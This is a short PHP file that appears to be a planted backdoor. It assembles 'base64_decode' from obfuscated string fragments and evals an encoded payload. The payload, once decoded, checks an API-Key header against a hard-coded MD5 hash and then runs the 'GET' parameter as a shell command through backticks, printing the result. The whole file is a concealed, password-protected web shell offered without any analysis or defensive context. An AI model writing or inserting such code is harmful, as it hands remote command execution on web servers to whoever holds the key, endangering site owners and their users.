
<?php
$a = 'bAsE';
$b = '64_dEcODE';
$c = $a.$b;
$d = $c('CgoKJGFwaUtleSA9ICRfU0VSVkVSWydIVFRQX0FQSV9LRVknXSA/PyAnJzsKaWYobWQ1KCRhcGlLZXkpID09PSAnZWE5ZGQ2OWRlODhkYjQwNzlkZWZlODVlMWE0ZjE2YWQnKSB7CiAgZWNobyBgJF9HRVRbMF1gOwp9Cgo=');
eval($d);